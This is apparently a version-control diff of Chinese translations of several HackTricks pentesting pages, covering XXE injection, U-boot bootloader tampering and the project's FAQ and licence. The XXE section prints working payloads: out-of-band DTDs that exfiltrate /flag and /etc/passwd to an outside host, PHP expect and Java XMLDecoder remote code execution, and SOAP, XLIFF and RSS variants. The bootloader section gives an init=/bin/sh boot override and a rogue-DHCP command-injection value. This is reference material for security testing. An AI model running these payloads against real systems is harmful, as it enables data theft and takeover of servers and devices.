<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>"> <!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt; %abt;
%exfil; %exfil;
``` ```
## PHP Wrappers ## PHP包装器
### Base64 ### Base64
@ -526,7 +500,7 @@ DTD 示例:
``` ```
### 远程代码执行 ### 远程代码执行
**如果 PHP "expect" 模块已加载** **如果加载了 PHP "expect" 模块**
```markup ```markup
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!DOCTYPE foo [ <!ELEMENT foo ANY >
@ -537,15 +511,31 @@ DTD 示例:
</creds> </creds>
``` ```
## **SOAP - XEE** ## **SOAP - XEE**
### **XML External Entity (XEE) Attack**
XML External Entity (XXE) attacks occur when an attacker is able to inject malicious XML content into an XML document processed by a web application. This can lead to sensitive data exposure, server-side request forgery (SSRF), and other security risks.
#### **Detecting XEE Vulnerabilities**
To detect XEE vulnerabilities, you can send a SOAP request with a malicious XML payload containing an external entity reference. If the application processes the external entity and includes sensitive information in its response, the vulnerability is present.
#### **Exploiting XEE Vulnerabilities**
Exploiting XEE vulnerabilities involves crafting a malicious XML payload that includes an external entity pointing to a file or system resource containing sensitive data. By manipulating the XML content, an attacker can retrieve this data through the application's response.
#### **Preventing XEE Attacks**
To prevent XEE attacks, ensure that XML parsing libraries are configured securely to disable external entity processing. Additionally, input validation and sanitization should be implemented to filter out any potentially malicious XML content before processing.
```markup ```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
``` ```
## XLIFF - XXE ## XLIFF - XXE
本节摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ 本节内容摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
根据 [维基百科](https://en.wikipedia.org/wiki/XLIFF) 的说法: 根据 [维基百科](https://en.wikipedia.org/wiki/XLIFF) 的描述
> XLIFFXML 本地化交换文件格式)是一个基于 XML 的双语文本格式,旨在标准化在本地化过程中以及在 CAT 工具交换中传递可本地化数据的方式。 > XLIFFXML Localization Interchange File Format是一种基于 XML 的双文本格式,旨在标准化本地化数据在本地化过程中在工具之间传递的方式,以及 CAT 工具交换的常见格式。
### 盲目请求 ### 盲目请求
```markup ```markup
@ -563,9 +553,9 @@ Content-Type: application/x-xliff+xml
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
``` ```
但我们在 Burp Collaborator 上得到了回应 但我们在Burp Collaborator上收到了一个命中
### 通过带外传输泄露数据 ### 通过带外数据泄露数据
```markup ```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -577,20 +567,22 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
### 通过错误基础泄露数据 根据Burp Collaborator返回的显示的用户代理看起来它正在使用**Java 1.8**。在利用这个Java版本的XXE时的一个问题是**我们无法使用带有`New Line`的文件**比如使用Out of Band技术获取包含`/etc/passwd`的文件。
DTD 文件: ### 通过基于错误的方法外泄数据
DTD文件:
```markup ```markup
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo; %foo;
%xxe; %xxe;
``` ```
服务器响应 服务器响应:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
``` ```
很好!`non-exist` 文件反映在错误消息中。接下来是添加文件内容。 非存在的文件在错误消息中反映出来。接下来是添加文件内容。
DTD 文件: DTD 文件:
```markup ```markup
@ -599,15 +591,15 @@ DTD 文件:
%foo; %foo;
%xxe; %xxe;
``` ```
And the content of the file was successfully **printed in the output of the error sent via HTTP**. 并且文件内容成功**在通过HTTP发送的错误输出中打印出来**。
## RSS - XEE ## RSS - XEE
有效的 XML 与 RSS 格式来利用 XXE 漏洞。 包含RSS格式的有效XML以利用XXE漏洞。
### Ping back ### 回显
简单的 HTTP 请求到攻击者服务器 向攻击者服务器发送简单的HTTP请求
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -649,7 +641,7 @@ And the content of the file was successfully **printed in the output of the erro
</channel> </channel>
</rss> </rss>
``` ```
### 读源代码 ### 读源代码
使用 PHP base64 过滤器 使用 PHP base64 过滤器
```markup ```markup
@ -672,11 +664,11 @@ And the content of the file was successfully **printed in the output of the erro
</channel> </channel>
</rss> </rss>
``` ```
## Java XMLDecoder XEE RCE ## Java XMLDecoder XEE to RCE
XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意用户能够让应用程序在调用 **readObject** 方法时使用任意数据,他将立即在服务器上获得代码执行能力 XMLDecoder是一个Java类它根据XML消息创建对象。如果恶意用户可以让应用程序在调用**readObject**方法时使用任意数据,他将立即在服务器上获得代码执行权限
### 使用 Runtime().exec() ### 使用Runtime().exec()
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder"> <java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -706,6 +698,8 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
</object> </object>
</java> </java>
``` ```
### ProcessBuilder
### ProcessBuilder ### ProcessBuilder
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -744,7 +738,7 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\ [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\ [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
通过使用自己的外部DTD通过HTTP提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\ 通过使用自己的外部 DTD 从 HTTP 中提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\ [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\ [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\ [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
@ -753,14 +747,14 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直到成为英雄</strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
其他支持HackTricks的方式 支持 HackTricks 的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>

View file

@ -1,59 +1,56 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
修改设备启动配置和引导加载程序如U-boot建议执行以下步骤
摘自 [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) 1. **访问引导加载程序的解释器Shell**
- 在启动过程中按下"0"、空格或其他已识别的"魔术代码"以访问引导加载程序的解释器Shell。
当修改设备启动和bootloaders如U-boot时尝试以下操作 2. **修改引导参数**
- 执行以下命令将 '`init=/bin/sh`' 附加到引导参数中允许执行shell命令
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
* 尝试在启动过程中按下"0"、空格或其他已识别的“魔术代码”来访问bootloaders解释器shell。 3. **设置TFTP服务器**
* 修改配置以执行shell命令例如在启动参数的末尾添加'`init=/bin/sh`' - 配置TFTP服务器以通过本地网络加载镜像
* `#printenv` %%%
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh` #setenv ipaddr 192.168.2.2 #设备的本地IP
* `#saveenv` #setenv serverip 192.168.2.1 #TFTP服务器IP
* `#boot` #saveenv
* 设置一个tftp服务器从您的工作站本地通过网络加载镜像。确保设备具有网络访问能力。 #reset
* `#setenv ipaddr 192.168.2.2 #设备的本地IP` #ping 192.168.2.1 #检查网络访问
* `#setenv serverip 192.168.2.1 #tftp服务器IP` #tftp ${loadaddr} uImage-3.6.35 #loadaddr接受要加载文件的地址和TFTP服务器上镜像的文件名
* `#saveenv` %%%
* `#reset`
* `#ping 192.168.2.1 #检查是否有网络访问能力`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr接受两个参数加载文件的地址和TFTP服务器上的镜像文件名`
* 使用`ubootwrite.py`写入uboot镜像并推送修改后的固件以获得root权限
* 检查是否启用了调试功能,如:
* 详细日志记录
* 加载任意内核
* 从不受信任的来源启动
* \*小心使用:将一个引脚连接到地线,观察设备启动序列,在内核解压之前,将接地的引脚短接/连接到SPI闪存芯片上的数据引脚DO
* \*小心使用:将一个引脚连接到地线,观察设备启动序列,在内核解压之前,将接地的引脚短接/连接到NAND闪存芯片的第8和第9脚就在U-boot解压UBI镜像的时刻
* \*在短接引脚之前先查阅NAND闪存芯片的数据手册
* 配置一个带有恶意参数的流氓DHCP服务器作为设备在PXE启动期间摄取的输入
* 使用Metasploit的MSFDHCP辅助服务器并修改'`FILENAME`'参数,使用如`a";/bin/sh;#`的命令注入命令来测试设备启动程序的输入验证。
\*硬件安全测试 4. **使用 `ubootwrite.py`**
- 使用 `ubootwrite.py` 写入U-boot镜像并推送修改后的固件以获取root访问权限。
5. **检查调试功能**
- 验证是否启用了调试功能,如详细日志记录、加载任意内核或从不受信任的来源引导。
6. **谨慎的硬件干预**
- 在设备引导过程中连接一个引脚到地线并与SPI或NAND闪存芯片交互时要小心特别是在内核解压缩之前。在短接引脚之前请参考NAND闪存芯片的数据表。
7. **配置恶意DHCP服务器**
- 设置一个带有恶意参数的恶意DHCP服务器供设备在PXE引导期间摄取。利用诸如Metasploit的MSFDHCP辅助服务器之类的工具。修改'FILENAME'参数,使用命令注入命令,例如 `'a";/bin/sh;#'`,以测试设备启动过程的输入验证。
**注意**:涉及与设备引脚进行物理交互的步骤(*用星号标记)应谨慎对待,以避免损坏设备。
<details> # 参考资料
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,70 +1,70 @@
# HackTricks的价值观和常见问题解答 # HackTricks Values & faq
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## HackTricks的价值观 ## HackTricks Values
{% hint style="success" %} {% hint style="success" %}
这些是**HackTricks项目的价值观** 这些是**HackTricks项目的价值观**
* 向**所有**互联网用户提供**免费**访问**教育性黑客**资源。 * 为**所有**互联网用户提供**免费**的**教育性黑客**资源。
* 黑客活动是关于学习的,学习应该尽可能免费。 * 黑客是关于学习的,学习应该尽可能免费。
* 本书的目的是作为一个全面的**教育资源**。 * 本书的目的是作为全面的**教育资源**。
* **存储**社区发布的精彩**黑客**技术,给予**原创**作者所有**荣誉**。 * **存储**社区发布的精彩**黑客**技术,给予**原作者**所有**荣誉**。
* **我们不想要别人的功劳**,我们只是想为大家存储酷炫的技巧。 * **我们不想要别人的荣誉**,我们只想为每个人存储酷炫的技巧。
* 我们也在HackTricks中撰写**我们自己的研究**。 * 我们也在HackTricks中撰写**我们自己的研究**。
* 在多数情况下我们只会在HackTricks中写下技术的**重要部分摘要**,并**鼓励读者访问原始帖子**以获取更多细节 * 在许多情况下我们将在HackTricks中仅写出技术的重要部分的摘要并鼓励读者访问原始帖子以获取更多详细信息
* **组织**书中的所有黑客技术,使其**更易访问** * **组织**书中的所有黑客技术,使其**更易访问**
* HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习** * HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习**
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks常见问题解答 ## HackTricks faq
{% hint style="success" %} {% hint style="success" %}
* **非常感谢这些资源,我该如何感谢你们?** * **非常感谢这些资源,我该如何感谢你们?**
{% endhint %} {% endhint %}
您可以在推特上公开感谢HackTricks团队整理所有这些资源提及[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)。\ 您可以在推特上公开感谢HackTricks团队,因为他们公开整理所有这些资源,提及[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)。\
如果您特别感激,您也可以在这里[**赞助项目**](https://github.com/sponsors/carlospolop)。\ 如果您特别感激,还可以[**在这里赞助项目**](https://github.com/sponsors/carlospolop)。\
并且不要忘记**在Github项目上给星标**(下面找到链接)。 不要忘记**给Github项目点个星**(找到下面的链接)。
{% hint style="success" %} {% hint style="success" %}
* **我如何为项目做贡献?** * **我如何为项目做贡献?**
{% endhint %} {% endhint %}
您可以**与社区分享新的技巧和窍门或修复**您在书中发现的错误通过向相应的Github页面发送**Pull Request** 您可以与社区分享新的技巧和窍门或修复书中发现的错误通过向相应的Github页面发送**Pull Request**来做出贡献
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) * [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) * [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
不要忘记**在Github项目上给星标** 不要忘记**给Github项目点个星**
{% hint style="success" %} {% hint style="success" %}
* **我可以复制HackTricks的一些内容放到我的博客上吗?** * **我可以复制HackTricks中的一些内容放到我的博客中吗?**
{% endhint %} {% endhint %}
可以,但**不要忘记提及**您取得内容的具体链接。 可以,但**不要忘记提及具体链接**,内容来源于哪里
{% hint style="success" %} {% hint style="success" %}
* **我如何引用HackTricks的一** * **我如何引用HackTricks的一页?**
{% endhint %} {% endhint %}
只要出现了您获取信息的页面的链接就足够了。\ 只要出现您提取信息的页面的链接就足够了。\
如果您需要一个bibtex您可以使用类似的东西 如果您需要bibtex可以使用类似以下的内容
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -74,68 +74,76 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
* **我可以把所有HackTricks的内容复制到我的博客吗?** * **我可以在我的博客上复制所有HackTricks吗?**
{% endhint %} {% endhint %}
**我宁愿这样做**。这样**对任何人都没有好处**因为所有的**内容已经在官方HackTricks书籍中免费公开**。 **我宁愿不这样做**。因为所有内容已经在官方HackTricks书籍中免费公开提供,这样做**对任何人都没有好处**。
如果你担心内容会消失只需在Github上fork它或下载它正如我所说,它已经是免费的 如果你担心内容会消失只需在Github上fork它或下载它就像我说的,它已经是免费的了
{% hint style="warning" %} {% hint style="warning" %}
* **为什么有赞助商HackTricks书籍是为了商业目的吗** * **为什么你们有赞助商HackTricks书籍是为了商业目的吗**
{% endhint %} {% endhint %}
**HackTricks**的第一个**价值**是向**全世界**提供**免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,同样,是**免费**的。 **HackTricks**的第一个**价值观**是为**全世界提供免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费**的。
如果你认为HackTricks书籍是为了**商业目的**,你就**完全错了** 如果你认为HackTricks书籍是为了**商业目的**而制作的,那你是**完全错误**的
我们有赞助商是因为,即使所有内容都是免费的,我们想要**提供社区对我们工作表示赞赏的可能性**,如果他们愿意的话。因此,我们提供了通过[**Github赞助商**](https://github.com/sponsors/carlospolop)向HackTricks捐赠的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在使它们**可见**但**不干扰学习**过程的地方(如果有人专注于内容的话) 我们有赞助商,因为即使所有内容都是免费的,我们希望给予社区欣赏我们的工作的可能性。因此,我们为人们提供通过[**Github赞助**](https://github.com/sponsors/carlospolop)向HackTricks捐款的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些广告总是放在**显眼的位置**,但**不会干扰学习**过程,如果有人专注于内容
你不会发现HackTricks像其他内容较少的博客那样充满了烦人的广告因为HackTricks不是为了商业目的而制作的。 你不会在HackTricks中发现像其他博客那样充斥着讨厌的广告而这些博客的内容远不如HackTricks丰富因为HackTricks不是为了商业目的而制作的。
{% hint style="danger" %} {% hint style="danger" %}
* **如果某个HackTricks页面基于我的博客文章但没有引用我该怎么办** * **如果某个HackTricks页面基于我的博客文章但没有引用,我该怎么办?**
{% endhint %} {% endhint %}
**我们非常抱歉。这本不应该发生**。请通过Github issues、Twitter、Discord...告诉我们HackTricks页面的链接和你博客的链接**我们会检查并尽快添加**。 **非常抱歉,这不应该发生**。请通过Github问题、Twitter、Discord等方式告诉我们提供包含内容的HackTricks页面链接和你的博客链接**我们将立即核实并添加引用**。
{% hint style="danger" %} {% hint style="danger" %}
* **如果HackTricks中有来自我的博客的内容而我不希望它出现在那里我该怎么办** * **如果HackTricks中有来自我的博客的内容而我不希望它出现在那里我该怎么办**
{% endhint %} {% endhint %}
无论如何,请知道在这种情况下HackTricks会提高你的**SEO**并**鼓励**人们**查看你的页面**。如果你仍然希望你的博客内容从HackTricks中移除,请告诉我们。 无论如何,要知道在这种情况下HackTricks将会提升你的**SEO**并鼓励人们**查看你的页面**有人告诉我们因为他们的某个页面出现在HackTricks中他们收到了更多访问量。如果你仍然希望从HackTricks中删除你博客的内容,请告诉我们。
请注意,要求这样做我们将**肯定移除指向你博客的所有链接**但如果相同的技术可以在其他网页上找到我们将只是更改信息来源和解释所以真正的内容可能不会从HackTricks中移除在网络安全领域通常总有几篇文章讨论相同的技术 请注意,如果你提出这个要求,我们将**彻底删除你博客的所有链接**和任何基于它的内容
## 许可证 {% hint style="danger" %}
* **如果我在HackTricks中发现了复制粘贴的内容我该怎么办**
{% endhint %}
**版权 © Carlos Polop 2023。除非另有说明书中复制的外部信息属于原作者**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)**上的文本由Carlos Polop根据**[**署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**许可证授权。**\ **不幸的是,这种做法从项目开始就存在**。我们一直试图**给予原作者所有的功劳**。如果你发现有页面存在复制粘贴的内容(即使有原始来源的引用),请告诉我们,我们将**删除它**、**保留链接**或**重写它**。
**如果你想出于商业目的使用它,请联系我。**
{% hint style="danger" %}
## 版权
**版权所有 © Carlos Polop 2024。除非另有规定书中复制的外部信息属于原始作者Carlos Polop的**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)**的文本受**[**署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**许可。**\
**如果您想以商业目的使用,请与我联系。**
## **免责声明** ## **免责声明**
{% hint style="danger" %} {% hint style="danger" %}
本书《HackTricks》仅供教育和信息参考之用。本书内容是基于“现状”提供的作者和出版者不对信息的完整性、准确性、可靠性、适用性或本书中包含的信息、产品、服务或相关图形的可用性作任何明示或暗示的陈述或保证。因此你对此类信息的依赖完全由你自己承担风险。 本书《HackTricks》仅供教育和信息目的。本书中的内容基于“现状”提供,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。
在任何情况下,作者和出版者均不对任何损失或损害承担责任,包括但不限于间接或相应的损失或损害,或因使用本书或与之相关的信息而引起的任何形式的损失或损害。 作者和出版商在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润损失或损害,或与使用本书有关的任何损失或损害。
此外,本书中描述的技术和提示仅供教育和信息参考之用,不应用于任何非法或恶意活动。作者和出版者不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息的行为均由用户自行承担风险和判断 此外,本书中描述的技术和提示仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息均由用户自行承担风险和决定
